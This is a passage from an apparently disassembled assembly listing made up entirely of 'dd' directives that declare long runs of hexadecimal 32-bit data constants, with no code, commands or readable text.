7EAA79A1h, 24B05Fh, 899F601Eh dd 0C38B0CF1h, 3DD96B00h, 7C69DB91h, 79ED00ECh, 7364E6FEh dd 0B73A419Dh, 0F91B0071h, 58EF549Ah, 0B55E021Ch, 0AB865948h dd 48C005E2h, 0DE5A244Eh, 160040E8h, 4FE2B84Dh, 410940D4h dd 55A85562h, 27422880h, 5C00A4C7h, 8029FF25h, 1C0E6B8Fh dd 41242E0Fh, 0A3392DE8h, 21D0E410h, 4A08B300h, 0A4AEE095h dd 92530EABh, 84609032h, 2B3BF101h, 265E8C3Dh, 79074B55h dd 0EA4012ADh, 0C06DEB8h, 34C04598h, 6000CB3Ah, 5287502Ch dd 786CAFD4h, 9FA90157h, 0C7B4395Bh, 431A136h, 609FAFF0h dd 4CD01053h, 320023CAh, 0A050412Ah, 387A3Ch, 0AFC25EFBh dd 0DDEFA236h, 0A7512719h, 61095529h, 0D2299025h, 48A1F284h dd 91B64289h, 22A37E22h, 7D24ACFFh, 1292DB21h, 0BFE810DAh dd 0DF089189h, 84E6E744h, 42B83622h, 943411A5h, 0CF048222h dd 0BFBD5C26h, 9B0AFBC1h, 55D9D4h, 12187D60h, 47C3B9A2h dd 0A9B2F600h, 4DEA6B82h, 35BD00CBh, 969F783h, 0E2983250h dd 7D36E400h, 81B9FA41h, 3CD51F1Ch, 0C0885E9Ch, 653D327Eh dd 0B0003618h, 3568AB23h, 0B876AAh, 857A3461h, 54FD781h dd 0A612CC0Fh, 0E0230048h, 7683C7B5h, 55140072h, 264C2A8Eh dd 0B0003DF1h, 86CCF795h, 0F4F60D82h, 5E200054h, 2B8AA469h dd 3F00B434h, 0AB6D42D2h, 9CFB79h, 9D3055B1h, 0D5C0546h dd 80377B3Bh, 9880D6C8h, 0E5042EDAh, 67092981h, 0EC0AF6B9h dd 8398BCC3h, 0A37DD11Dh, 4BF72580h, 77635F24h, 690C0FD4h dd 59A037D6h, 9F5D4DB5h, 0BE958000h, 0A7C71857h, 1193609Eh dd 0CE33D429h, 6E15A000h, 0C5A32AB3h, 2E489278h, 20EA049Fh dd 42D401C0h, 17CBE451h, 0E7BAC457h, 0B774FD00h, 0F6DAAD09h dd 0BCD00049h, 0D1640324h, 52072E30h, 892017ACh, 9BBD12E0h dd 84881ED0h, 94983DFEh, 69926842h, 627C1900h, 540A912Bh dd 2A170ACCh, 3B020F5h, 0B412DC08h, 6B86FCD0h, 0E5873700h dd 5709187Ch, 55B20013h, 0AC044C61h, 1600B9A4h, 188BA1C7h dd 2C91BCB4h, 164DCDFDh, 7D9E0075h, 0F7B72820h, 0CC87A50Ah dd 0DE00B0AFh, 7AD389FFh, 7410C0D2h, 8D27AADDh, 0B0C59800h dd 19A63809h, 9D6F0056h, 0C76ABCC1h, 40033DCh, 0A17A8BABh dd 76607281h, 0A9D30065h, 94AF1B8h, 8500CA32h, 9CFAB579h dd 8E0D90h, 3C7897E5h, 70CE982h, 0A66B5500h, 0C2F606ECh dd 0F74801FEh, 1A52E009h, 0FC4F3068h, 6E098C77h, 434664h dd 85791738h, 90150BC8h, 0B8802B07h, 66A5DA99h, 0FDD04100h dd 51012F58h, 7454005Fh, 0F523EE95h, 0E6309846h, 20C1296Bh dd 0B67E0015h, 17053803h, 0E30509F1h, 4C74063Eh, 1394D000h dd 7BA161h, 0D7CE3B5Eh, 389791Ah, 0E72C591Eh, 9B522440h dd 0D8C631h, 19EE06Eh, 0B1694957h, 9DE4931Ch, 5EA02E80h dd 24F89A1Eh, 1CCCC63Dh, 9C1840C0h, 0E68E7D07h, 370095E8h dd 19FE5EDh, 7FF0355h, 7CC7C331h, 3EE7C00Dh, 0E001B46Ch dd 0B85BD6C9h, 9DD53A30h, 9088B820h, 0A55C00F1h, 677AFACEh dd 310D1548h, 70D135D8h, 145836F0h, 0D8D613B7h, 0CFDE0F7Dh dd 83012128h, 34E2C004h, 1A0E49C4h, 206094F3h, 0CE3CC548h dd 0E7465027h, 0E8E424F1h, 0A8FA00E8h, 6F39E7C8h, 0EA2B3507h dd 10E9BF2h, 345CE82Eh, 98B26020h, 8DD40008h, 47245445h dd 25248E4Ah, 0E40098A7h, 8FE2BFDh, 0C55730F7h, 33E71698h dd 80E5BF00h, 0D5DA62E6h, 0A9830090h, 0EB32E893h, 28FAB9C9h dd 0A103B007h, 2D706249h, 18953E9h, 7629373Fh, 0D8DD27E8h dd 1000F105h, 16CF99B7h, 0E6CBC78h, 0F4562FFEh, 778469A0h dd 74024863h, 0C65BF294h, 4866E4h, 9BF8E5CFh, 781DE49h dd 10A3938h, 0BE67216h, 98400CA9h, 7578F6AAh, 17090006h dd 0D0CEA13Bh, 30006CE1h, 0CC8440BEh, 7E2F73Ah, 0BDBBA069h dd 0D70E329h, 0B0BCA580h, 7B615400h, 0F701E9FEh, 55C81FB7h dd 9F8740D8h, 3AF4AC71h, 17F2D8FBh, 33A65302h, 60AAFBD0h dd 11221Fh, 0F89457FEh, 0AE3C95CEh, 9FC3F507h, 5D607E6Ah dd 0F2EDE905h, 647C94h dd 3ECB33C4h, 141E34BDh, 0C6E08C03h, 0E0620649h, 0AD43159h dd 9D6BDE4Dh, 7E13F4h, 0F4BD13F5h, 2731E6B8h, 1EC61893h dd 6003836h, 0C952D6F0h, 30005EEAh, 13329A64h, 37F187h dd 0EDC63859h, 3F33B6CBh, 8B920C39h, 0A0EEFBA5h, 97A75318h dd 23673888h, 596B7C00h, 57052B1h, 7E01C498h, 43BBD31Bh dd 0DFD05DF3h, 0BFF602D8h, 3282E634h, 0C8779881h, 0A2A9C386h dd 855E0D5h, 0D7663E00h, 0B749FF8Dh, 6F19069Fh, 79B201B4h dd 0A411B30Eh, 0CB40FE5Dh, 39F17C64h, 0E057F2Dh, 0BE7FA2F3h dd 7A80816Fh, 0B8DA6EB5h, 60A6D524h, 42F3B401h, 2860A908h dd 64A0002Dh, 7EFC960Eh, 6702742Fh, 0E5AC13DDh, 0AD55C078h dd 0E0F000C3h, 27B23F8Ch, 1E003AEBh, 0B5D3EE45h, 1956960Bh dd 0AE92DD9Bh, 764CE008h, 0AF997528h, 908E1D00h, 0A5B669FAh dd 0A22300F8h, 27A65B61h, 4C3D2975h, 0B56C8124h, 0BF760C06h dd 0EDE096h, 0D3C74F64h, 6D033E1Bh, 6E17943Fh, 68809593h dd 123BE3F2h, 3B9EB2Fh, 0BEDA9D98h, 91A7E000h, 1B1530F4h dd 934917E1h, 0B1D84334h, 80AD4FF7h, 0F41DE318h, 0DDC73800h dd 845A8FD6h, 334CBEh, 28D7378h, 465C73C5h, 8040A560h dd 69099F32h, 8091C705h, 0CCC25F80h, 0B04CFC29h, 48D40B30h dd 5F00F521h, 78AE94B3h, 2433E100h, 8473B874h, 0C37206ADh dd 18E03B5Ch, 58C905Ch, 2B517A09h, 3230AAC0h, 5AA21716h dd 49CB0C57h, 8C3A5DB8h, 0F0088041h, 621383B4h, 0C88662E8h dd 3BE0804Dh, 3A0F6418h, 407B8FC4h, 8A8811A9h, 0BF7C5CB7h dd 0FAE5500h, 19597739h, 0A687623Ah, 2400E65Dh, 0AA9412FFh dd 0BA741220h, 57900036h, 0D59FC914h, 0C14F4400h, 3D0BBDE0h dd 3E707Ah, 10E8619h, 8C7480CEh, 0F35E8800h, 76FB7F98h dd 5AC53DACh, 0B0AD9Dh, 38C616CBh, 880FE675h, 37692CB5h dd 0CFB8FC30h, 0BE081EC1h, 764287B2h, 0DB24A25Ah, 91D20440h dd 4000FB74h, 0FCD30C6Ah, 0E0F3A9h, 0C83B5138h, 92CD8003h dd 0B58DB209h, 7354008Eh, 0BA54BBA6h, 74090078h, 527B65Dh dd 5124C193h, 0E80F20E1h, 5A8CE045h, 0F79434Eh, 9C5374D2h dd 109291EEh, 7A00E7ACh, 0A91D7B13h, 0A35C59D8h, 0DA790074h dd 8A37FCDDh, 0A5720E4Ah, 632087ACh, 7F6D88DEh, 73AB5602h dd 43DC67C7h, 3F83C828h, 6E6906C0h, 607B4132h, 2B90D801h dd 6FFB255Fh, 0AC03E4h, 978EDEB6h, 0A9C0C174h, 301870FFh dd 2F0BA301h, 244BB725h, 108FF03Fh, 6D730E01h, 0B244D8F2h dd 0A726D4h, 3482243Ch, 0B581A04Fh, 91BAF71Ch, 9AFB2DC1h dd 0E4208A53h, 73380E4Ah, 9EC06E45h, 63FC3719h, 21411400h dd 385D03A3h, 3AA9002Ch, 0ECF60D34h, 0F16E31Fh, 0B840BD76h dd 18876977h, 60D8F4CCh, 71859821h, 914968BEh, 0EB1A00B8h dd 7479D1A4h, 99B400CBh, 776AA066h, 51F84C1h, 0A83EE463h dd 5E0B88F6h, 0E1CCD13h, 24552064h, 72F2BAh, 0DD1A61D6h dd 196964F6h, 864AECE7h, 9706C778h, 4BFFDA67h, 8F100070h dd 0CA500509h, 0E49A42ADh, 0D5481D00h, 81BA6BA2h, 0BE0F01FBh dd 4C7A225Ah, 84B3F482h, 4F04BD00h, 0BAF96141h, 7CC20283h dd 0F2D9648Eh, 319444E0h, 9C807EE5h, 168D67AAh, 6FDD0Fh dd 0FD25019Fh, 784A2679h, 0EA168412h, 6DA11C00h, 1D22CBFAh dd 0D9A846h, 0D887A447h, 0B604FDEAh, 9B202739h, 0E07FC4C2h dd 2E10D7D6h, 0A78B24h, 9819211Ah, 0D30089F5h, 0C7ECF7D5h dd 95BB010h, 96BB26D8h, 0B9E0AD80h, 0F400D7A5h, 6ED562F1h dd 1FF565ECh, 80ADE119h, 16896C0Bh, 2A00ED0Fh, 75601A26h dd 0DD8FABh, 0ADD9B558h, 1180B76Eh, 1B00F9EEh, 4BF30743h dd 1DBA490h, 5C9B4EEFh, 0E8F07FE4h, 832441E7h, 0EE1304C6h dd 703CD441h, 20D831DCh, 0E888009Eh, 0EE28C56Bh, 7A008346h dd 239D97D3h, 16DB4139h, 0B81B61h, 9A30E050h, 340011AAh dd 4D2DC6FFh, 5A36B03h, 0DF6EB0ECh, 9EB0C02Fh, 9F00519Bh dd 384D017Fh, 41CBCAh, 5B9607D1h, 8522D732h, 0BD1F657Bh dd 0C982138Fh, 0C0308EA1h, 1686004h, 3DEADC63h, 0DD9F096Bh dd 0BAFBDC4Ah, 85D62800h, 0F30513A8h, 6E5F000Ch, 0F6C8F2DCh dd 0ED7B15E8h, 8342263Bh, 772A568Ah, 701CB8DEh, 3EAC03AEh dd 112E318Ch, 3740A8A0h, 2354F701h, 5DB1DC94h, 0F2704474h dd 0EAAD00A7h, 954AF14Eh, 7A03B9C3h, 86DB3CE8h, 0EC110030h dd 0D844E184h, 7C00678Ch, 4A667D21h, 57A1CDh, 0A4E8B6B8h dd 0B385AFF9h, 83E37300h, 6BAFEDEh, 0D6F81D6Dh, 0A4E1402Ah dd 9A2CF523h, 101FFD00h, 723B4770h, 0EB6F0744h, 804D2A5Ch dd 7D871522h, 0BAC9A0Ch, 0F0A418EAh, 5B2C00AFh, 0D258B00Ah dd 0F500EDCEh, 0EB074581h, 0B7049Ch, 0F8B14CADh, 0E297EC1h dd 0E4615B00h, 0F38958C0h, 0CC30004h, 2E3AFD44h, 0CF00EB05h dd 197963D3h, 7DF174h, 13BC5567h, 7E5E8058h, 0FA9DB20Bh dd 9BEF809Ah, 0EF1A75h, 3901DC71h, 368316B7h, 0A3AAB50Eh dd 15DFA190h, 44347957h, 8B2B80D6h, 245E0426h, 1053803Ah dd 0B33A9E2h, 0EBD13A73h, 79652EF4h, 16FA01B8h, 20ABE268h dd 84E643BCh, 0AE45EE00h, 0F0172477h, 591401DBh, 66D6887Ah dd 8028B991h, 27BE13Ch, 0EC722Fh, 0F2F8B404h, 18D642EDh dd 53BB7100h, 0FEC419ACh, 0F0B0DEh, 0F717CD01h, 0EA949DE5h dd 8B72DC00h, 0CC79AE93h, 8F071218h, 6E7004AFh, 902684D4h dd 9A3D5A70h, 5D7E72F0h, 13006173h, 0E4EF2921h, 0CF7AEBh dd 0E00FBCC0h, 8F6DDB67h, 81B5DE00h, 6B4D90EEh, 0EE4EF636h dd 37BF0061h, 7FEFF991h, 0FE005EA5h, 8FADCFCDh, 0B08E71h dd 28520355h, 1785BFC9h, 0C3E43302h, 0C00E39B8h, 7F40C8h dd 0F88F4790h, 0CB912394h, 7E1B1D3Ch, 5B7039h, 0A9D662E4h dd 0DF727Dh, 3DDC01D7h, 273816BEh, 0FF8B9A00h, 300EA36Ch dd 91B807D9h, 50B0738Ah, 0AD4DB3ECh, 0FF09700h, 5A9B28E7h dd 0BD6F13F9h, 0E268C041h, 7C04B470h, 94406C46h, 0DD3FB280h dd 0B89F0B79h, 14054E89h, 8494848Bh, 683CD728h, 9B79942Ah dd 0B70968B8h, 813ABCDAh, 0C9339C00h, 0B3D3CC0h, 0ACBB5077h dd 0FE946480h, 0EE0F3FE2h, 2482932h, 4035210Dh, 137EF234h dd 0B24E50h, 560A932Ch, 0DA006648h, 398F668h, 5CA254h dd 73A83158h, 0B8A40106h, 6D0028E4h, 9AEF1974h, 4B1B0C3h dd 0A02FCF7Fh, 7E488742h, 7C15E900h, 130020BFh, 0CEC50969h dd 0F3A8F91h, 0C93FB4D0h, 0E615A280h, 0DE2CE402h, 0B713B83Bh dd 34422201h, 40EE52DAh, 121FF554h, 0EF8406h, 18B3672Ch dd 0A800CA8Dh, 0FF1DF265h, 84C826h, 0D0277F69h, 8BD4E294h dd 313ACD01h, 782E14A2h, 75FF4680h, 0C441ECA5h, 6F79A00h dd 279F92Bh, 1B3FEA2h, 0B78F281Dh, 0F46C7B11h, 8D0F2C24h dd 0C24BD18Bh, 60BDC0A0h, 8039BBh, 83AFB9DEh, 150CAD78h dd 26A77E00h, 5E728209h, 89403FBEh, 0BAAA4107h, 80F43466h dd 6E09AF17h, 464E48h, 535690B5h, 551298Fh, 43D16096h dd 1CF80047h, 5C19ED8Bh, 0B6B1C600h, 21E5931Eh, 86C10084h dd 0FF9D564Fh, 5E0EAA33h, 60081626h, 0C020AF64h, 6D1B005Fh dd 2FC67325h, 0C20BE039h, 1FC4570h, 20B828FCh, 0F413446Ch dd 830900D3h, 0ABC0C223h, 7383148h, 0A033CED1h, 6F611420h dd 3B2739C8h, 700F00F2h, 21D5F366h, 8739B1CAh, 0FF9B83D6h dd 0C8520BA0h, 168C8DBh dd 55089947h, 0E0AE86AAh, 20B818D3h, 1A943260h, 0F78F3h dd 0FE74D24Fh, 993DF1C4h, 0E934D500h, 0EF2B1AB1h, 32DE00A9h dd 0FE479CA0h, 0C0C0DDCCh, 69F786AFh, 241598BFh, 3A1C2A5Bh dd 318A18E1h, 0CAFC6073h, 0E1182D6Fh, 2172B67Eh, 3FF44021h dd 99EB0031h, 8A3556F7h, 160C23FBh, 115FEF30h, 3CE7031Eh dd 0B321B0DFh, 0E0F00FCBh, 0D600F977h, 0CE407BFh, 4A7DDCEh dd 3A691EDh, 22EC80C3h, 0FF0023DEh, 261BE405h, 0BA5CB1h dd 0FA446EBDh, 63102F92h, 1E290C00h, 0D4EB6C68h, 789CC4h dd 8071C4Bh, 0A090B741h, 0D40D20E5h, 479F9601h, 0ED9757BFh dd 170CE0h, 9462D71Ah, 0B1D56453h, 0F0FCA0FCh, 349BA500h dd 9AF60318h, 62146372h, 9990A8F4h, 8008411h, 8E693DDEh dd 6A0A23h, 0C39039ABh, 32980FAh, 4EF3AA07h, 5CE30801h dd 0D9ABF347h, 53F004F2h, 84B0001Fh, 72631679h, 710A9BCFh dd 0A1D4DDEBh, 4E2E0800h, 5011325h, 0AC417F94h, 4A8C00C2h dd 0BC0033Bh, 0FAC46D01h, 87B1355h, 0B3E9E4h, 752978A7h dd 0DD103A0Ah, 5E4B3600h, 9C039D8Bh, 542F00C2h, 1E756C43h dd 5A008DABh, 17EB0B49h, 16FD2057h, 4028F9C5h, 0B54DF79Ch dd 64090269h, 80D5EB4Bh, 68879234h, 0A7950048h, 0D9D2133Ch dd 0DD07819Ah, 3D35855Fh, 0F9E2401Fh, 13DC588Eh, 7AF2A25h dd 408DB0h, 0E452A6DFh, 0C5B4631Dh, 180043D3h, 26475DDCh dd 0F99609B3h, 10004169h, 87B7D960h, 0D1390A00h, 7ECE0EB4h dd 9030F653h, 0EFA9000Ah, 93B370ACh, 0C7047F09h, 221E2867h dd 62CA8B0h, 0F0DFFF78h, 6F7050A7h, 0D91A3301h, 19293747h dd 0B0D108D0h, 0ACBC00A4h, 8E5B0A3Fh, 66000C2Fh, 0FF6768CBh dd 9C08022Ah, 0AFF000B4h, 0EA3025E9h, 0F3628E00h, 283DD1A7h dd 8B8200F5h, 0AF262019h, 0C053A1Dh, 0B662AC5Ah, 282F98B4h dd 19841A1h, 2E51A2E3h, 2008F945h, 120974C4h, 0A2D061B4h dd 78A99CE8h, 35290F44h, 0C4E94443h, 1245E820h, 36004CB5h dd 0EF484EA8h, 7D77F44Dh, 0A098495Bh, 7275E00h, 0D8780FDCh dd 1F49961Ch, 6680C45Eh, 54C93C7h, 61D61C19h, 0BC4B809Ah dd 0F7918F31h, 0AC66E700h, 5970D5C9h, 21030292h, 0F876BCC7h dd 79D41440h, 658CB900h, 6488DDD0h, 55E8BDh, 70AF4B27h dd 32C981B6h, 18264C00h, 10943044h, 3EAC0934h, 242FA915h dd 7D61928Eh, 20DFB5BFh, 60B64510h, 4C00D116h, 2B76F60Eh dd 3B6301BFh, 271ECB17h, 9CE0C6F0h, 1902231Fh, 969DA6C6h dd 6E6CC086h, 0F51130A9h, 1BB97D20h, 0D1C5FC01h, 4CB7EA1Dh dd 0E7677C4h, 6C25BD85h, 99ED02C2h, 0D81AB8C1h, 6F001126h dd 225ACA14h, 0B3DCB84h, 0A3E7BDD7h, 0C7753C60h, 0C381802h dd 0C4216DC0h, 0D0D66004h, 0D060828h, 0E8F49E28h, 0C151FF07h dd 0E6D0D32Eh, 0C01C58h, 871F6980h, 27788430h, 10249C76h dd 6E048CB4h, 4EC019E0h, 26F55Bh, 0A0172C49h, 2F243D78h dd 0BFEF279h, 8FDF802h, 60C07939h, 15E9954h, 2AE4C4D6h dd 747D4EA3h, 3B01F48Ch, 80405709h, 8430ACC6h, 0E35B00B3h dd 3E2FB111h, 90760D47h, 9AFF5100h, 0AFD228FEh, 0D34903D7h dd 0E4739EDAh, 0CAADC8C8h, 0BCD06907h, 25A781B7h, 49FE6510h dd 325FA3h, 196821F8h, 6B01B364h, 4D0D7C02h, 7F20FEBCh dd 0B186056Dh, 80384BDDh, 49A2DBDDh, 732B7E00h, 29149D71h dd 28CA007Fh, 0B2C6DDA5h, 0E6127D64h, 0E4A09B78h, 2C2E0759h dd 0D3CEBBh, 55B24012h, 7006A872h, 22D4DFEEh, 20D80038h dd 0E385444Dh, 9F00E909h, 0CA1831DBh, 2693548Dh, 18B5ED15h dd 57964045h, 6FDEFC14h, 9CA500E0h, 4B8E39E7h, 8ED58C4h dd 0B26D5F0Bh, 0E4E0B409h, 0D30035AAh, 0E26A65BCh, 7C377657h dd 0ACAB1F01h, 0FC817902h, 7CFDEFADh, 94F8964Dh, 468A5CC0h dd 0AE0A002Ch, 2F018B4Eh, 9E002493h, 265BC9BFh, 155B0C5h dd 7E282752h, 0DEB8DAF1h, 225718C0h, 87C8CD39h, 0BCB1EC68h dd 0F80C21E0h, 907907E0h, 91B61606h, 30308A4Eh, 0A23BAEDCh dd 65ED828Bh, 6AA74F53h, 25F85038h, 4800D854h, 16CC4DABh dd 0F8D6D00h, 0C1F4115Ch, 8844191Bh, 893C790Ch, 401410h dd 3D7CFB20h, 0DDF409AEh, 50A0341Eh, 0F73A4786h, 14097A5Fh dd 20FCE484h, 0B5023648h, 0FDD968E1h, 17D04032h, 0D7F1FBDAh dd 0EE8AC4h, 0EF3E3854h, 83F7DEF9h, 0F4600416h, 3DE94448h dd 6E7133B0h, 0BCF2794Fh, 0FB169100h, 0E3F3B48h, 0B25A0B37h dd 9C014BCDh, 0D6A8B3ACh, 31EF0C40h, 0DFAAEE00h, 7422A733h dd 57323FBAh, 23E89800h, 56DB862Dh, 0F3AB9103h, 0D8857E21h dd 0C0D61C63h, 84B8340h, 0F000E01Eh, 0AAD28C93h, 0A7C95Ch dd 9925FE54h, 0F6CD8615h, 0E1197C01h, 0F77045D3h, 25CE3080h dd 0C5710E8h, 0BD4C8CBAh, 4C8C5870h, 0F3E9001Dh, 0FAFE159Ah dd 0D08200B1h, 7E95C1A3h, 6300FC44h, 0C9F04610h, 0B42624BAh dd 757880ECh, 880B3A6Eh, 205FEC00h, 7DE865C4h, 0AB3D01A8h dd 750FE68Ch, 0BE16C0E9h, 9A57790Ah, 9E00A837h, 78FDC4F2h dd 3F030035h, 0D5DCEA95h, 0A003C20h, 26F88B04h, 0BDA6CBh dd 9D7D0793h, 0C4214FDFh, 94089000h, 3246DC98h, 4B4304DDh dd 80BA24B5h, 6D8CEB10h, 98F4AC24h, 65AD7C05h, 1E6998E0h dd 0CFC91D85h, 0D66E7817h, 0C0135EE1h, 0F38EE8A9h, 7D4CECE3h dd 0AA5C2700h, 507170A0h, 0FC97004Eh, 529B9F51h, 0DF037477h dd 3E2E0C79h, 0D904F024h, 0D56F01ADh, 0AC9C6ADCh, 281DC4A9h dd 952BBB00h, 6FD91973h, 0A8FE0471h, 0A5F25DC8h, 0FC42E250h dd 486B50E0h, 42070C90h, 0CD9D725h, 0A931570h, 191B2659h dd 0BD100518h, 5DFD13A6h, 77407054h, 810EBB63h, 82951949h dd 60309C46h, 7761A0A2h, 0BCFC4844h, 0F5DA121Ch, 0A4100090h dd 2DF41C4Ch, 55B9CB01h, 32A10E98h, 792420h, 0F0E3F5C9h dd 9165821Fh, 0AEEA191Ch, 6DE23E80h, 814A4Bh, 92C596E8h dd 0AC551889h, 4D160300h, 131714BBh, 0E1F82Eh, 9BA85778h dd 1C1AC7C9h, 5E9DDB00h, 0A2103987h, 896900A7h, 90BFA171h dd 0F036C47h, 5B04547Dh, 0E6007F8h, 0C0ACD797h, 61A8E486h dd 0FE1D427Bh, 0B380332Eh, 8726716h, 0EFA007F5h, 0C477DCF6h dd 56DC93AEh, 6C906FB8h, 0C0182801h, 82CB5397h, 5DAD4170h dd 24580491h, 8400FD3Eh, 0B9C401Dh, 730E6289h, 0C0705E29h dd 0DA016C10h, 9A7D7BFAh, 0EF060258h, 0D67577FCh, 71030880h dd 2B016B5Ah, 0AC200268h, 8880527Dh, 969C223Fh, 1818DB3Eh dd 4DA1CF09h, 0C4330ED3h, 0CD671A86h, 57D4EB6h, 0D3FCB7E1h dd 0F99898F8h, 115CB33Ah, 79B11DE6h, 41E42E00h, 7C0734CBh dd 0F3F661h, 0E3897C49h, 3CFA4D69h, 3AC6C218h, 7C8FC068h dd 743100DBh, 1A9EC830h, 0E010CA7Eh, 20DC6DB7h, 809B5940h dd 850197Dh, 5200DF58h, 94C73D68h, 3EA138h, 677E18D8h dd 10C5931Bh, 0BA77C31Ch, 40322340h, 4FDD03h, 0C0F774ECh dd 8AE27CF4h, 9D725C00h, 0BD30624h, 27AB0FD0h, 0FCA7F762h dd 0AC97604Ah, 0C372963Ah, 2EDA6E00h, 148DE530h, 0C94600A8h dd 0C1817E58h, 7D00FB5Ch, 0D492F233h, 0D59F2Bh, 5A5EE1F6h dd 0EBCBDFE8h, 6ADEED00h, 48978AF0h, 6BF274h, 92E2403Dh dd 35DC6184h, 4B0067E2h, 3B2B19EDh, 0E85B7CDh, 0A25CD35Dh dd 0ABFA26C0h, 12073723h, 93C862D2h, 0C1E17B80h, 217F00E4h dd 8B1559F1h, 2805C25Eh dd 31FF9398h, 0D616BC40h, 38F8903h, 0B7CC68C3h, 2BA36973h dd 7E70211Ch, 514B5B02h, 0DBC4A04Ah, 2C6BF3h, 92C1D750h dd 0F8B33F4Fh, 34006EB8h, 1075D6B1h, 1819478Dh, 1849F4BAh dd 0C70CB5A4h, 494B5136h, 29710093h, 3D5CDB61h, 0C2017F74h dd 0B756BDF5h, 413E322Bh, 0C7113C10h, 0C123F33Fh, 3C10092h dd 696B8F6Eh, 77244486h, 404CC0F7h, 2B6AB306h, 0C48AE9Bh dd 0C10A0CDDh, 0C70CAB68h, 7140506Bh, 0F18B0265h, 1A46CDC5h dd 988E5441h, 86215408h, 2AF11D72h, 6AD00E1h, 26051E32h dd 0ABC14406h, 7AF06FF8h, 0CAC40407h, 8088FF7Dh, 32027AE5h dd 13E6470Bh, 533701D9h, 0E7D4A4D2h, 604B1EEAh, 7F2180ABh dd 3FEFC92Eh, 138D6B01h, 0DB895631h, 7B98D8h, 0E151F15Ch dd 0A8ECA325h, 6527FB0Ah, 900086CBh, 70E817E0h, 87120379h dd 0D3305702h, 1BDB5C80h, 368F3E09h, 855D8092h, 21A456Ah dd 0B9742C12h, 8C07040h, 0E40041C0h, 923BBC1Fh, 0C77CD6h dd 6ACA3029h, 839E5F5Eh, 0F7310900h, 104F0646h, 1D0D0705h dd 93EF3Dh, 82DFBD9Fh, 0A7306E00h, 413C70Fh, 1F8A7C88h dd 1776928h, 5EA1B2C2h, 3611D02Fh, 0D1EA1C02h, 0C1CEA091h dd 998CF9Bh, 0E2FC2104h, 29DED100h, 0EB8F47D8h, 0C5FA260Ah dd 93F3AADh, 7DE74980h, 0C20BBF2Eh, 6038D06Eh, 58865ACFh dd 770F068Bh, 50883B29h, 3FB23C1Dh, 85ADD0Ah, 6EEFF100h dd 7EA8BE5h, 0F2928E0Dh, 21584F28h, 80ECE750h, 6F7C9A00h dd 25D8BF0Dh, 4B290B26h, 73800765h, 0E611D456h, 598D6930h dd 3779A92h, 12A63BFAh, 9303349h, 0A2F221BFh, 0E88B0177h dd 8C60A51Eh, 0A0905276h, 7AD1E530h, 22E646EEh, 0FDED0113h dd 0F59934D1h, 9AA0F86Eh, 8A78FC18h, 30854B90h, 35A04393h dd 3E015ED2h, 5D3484A1h, 0CAE43DB7h, 0B5773F7Ah, 4B5FF280h dd 95390DDEh, 0AF59200h, 1AAC6090h, 0A2D7083h, 1042A014h dd 0E09F7004h, 9107710Ch, 6ECB1990h, 0F8A02168h, 0B9630C0h dd 7AD00500h, 0F446F5D9h, 94541785h, 40361C37h, 0AA611817h dd 0D1E26D42h, 67E5FA00h, 8010409Fh, 0B372039Bh, 65F9E09Eh dd 990078CEh, 4D302F90h, 0EDB1712h, 409D7EF6h, 9B4837C0h dd 0E3F53883h, 96A02001h, 0FB41A44Fh, 8511204Eh, 0BAA8072h dd 0C0034B5Ah, 919A70E9h, 971D9998h, 0A799468Ch, 218F4E08h dd 5340A25Eh, 0D3194301h, 0C0776130h, 0A9AA0DEDh, 54EC1D8Ch dd 32D0370h, 45CFE08Bh, 0CC02807Fh, 6E985E36h, 0D3A88058h dd 0A4C8A334h, 0DCFAA4h, 24D57E2Fh, 0D3B7B83Dh, 0C7957514h dd 99BA80C4h, 609DEB19h, 0C08B786Ch, 60C1588Eh, 59F5DA2Bh dd 1C831880h, 9A9C51A0h, 1715E0A8h, 0C066D328h, 0B88BA606h dd 6584374h, 0DEFF995h, 7A0BC1ADh, 0CEB5C2h, 0FF9F4D40h dd 38016026h, 957B0B98h, 912CC633h, 161CE39h, 0B901217Eh dd 0DC91BEB5h, 3D00297Dh, 0A14EF598h, 609B8979h, 6D19A85Fh dd 804C0191h, 7EA60066h, 97E09903h, 0A120C035h, 1FECB214h dd 64790760h, 0E63AD2Dh, 0A03DB373h, 40673884h, 89065BF4h dd 19547AECh, 86C951Ch, 5521806Eh, 32790653h, 38DB7476h dd 9D098C46h, 4C0FAAD0h, 8910E4F4h, 0BAB8001Dh, 95095514h dd 256604ACh, 814CB20Fh, 6AAF24h, 0F501D7A5h, 3038309Eh dd 0DCC93769h, 6435CF00h, 46168BA1h, 0E9D79E8h, 0CE1E5921h dd 498FD160h, 714F2A5h, 0CEC05195h, 622F23EEh, 0C6F05865h dd 30751100h, 22ED21Eh, 3218196Fh, 0C0505808h, 999A913Ch dd 4822A746h, 0A4503Dh, 693E7A74h, 37CDBE32h, 108D333h dd 80103853h, 0D93678C1h, 0B0419B98h, 8E49C995h, 0BE423800h dd 0EB00A19Eh, 0CDACF05Ch, 98953C13h, 7469D46Fh, 90475714h dd 0E49085A0h, 60489C3Eh, 0EAD3C3F9h, 7D41009Dh, 0E6321E5Bh dd 0ED3EF8BCh, 0E87C302Fh, 0C9609151h, 38900D99h, 9F005424h dd 804EFA2Ah, 0FC185E65h, 9B301D3Ah, 3C399810h, 0A5B8A57Ah dd 1C80476Ah, 4E08A468h, 2BC2276h, 389D29A0h, 648F3074h dd 0E3E7ED81h, 9DC4531Ch, 81379AE1h, 303FD9A9h, 419D4131h dd 11E024D4h, 0DC622E40h, 94F44400h, 0A9C3AC47h, 21805A98h dd 35268FA9h, 1C09D285h, 138B519Ch, 5601D64h, 0E519090Bh dd 76D66C82h, 0B511E42Ah, 77243E3Ch, 647C380h, 6534ECF8h dd 51634486h, 0DD065F04h, 4C81AFF8h, 0C424AB90h, 8D411236h dd 80442003h, 980FC39Fh, 267CAD2Bh, 54088523h, 16FC087h dd 13B6C370h, 0CCF326D1h, 2F12469Eh, 590AE917h, 9F0E948Eh dd 0DD52EC0h, 7041108Dh, 0B1A89AC7h, 6E3B20A4h, 0DD20EA7Ch dd 2B8E386Ch, 16E9FA89h, 5C0BAC24h, 0F4210600h, 1225CE7h dd 299E232Ch, 30781DD2h, 49042464h, 146CB8ACh, 0E0D51CC0h dd 0F01C03CEh, 0A37AE5DAh, 58EE823h, 0C499C398h, 9B74228Bh dd 0C3716A20h, 2DD40066h, 5240EE3Bh, 91C1119Dh, 62FF1F9Fh dd 10211020h, 38864ADh, 92DD2F89h, 0C82E4FCh, 26B630A2h dd 6CF44508h, 405964F0h, 0DF268E80h, 953B0C36h, 0B91976CBh dd 9D90083Ch, 8080B6A2h, 1824170Eh, 5BD928B3h, 0A4E294h dd 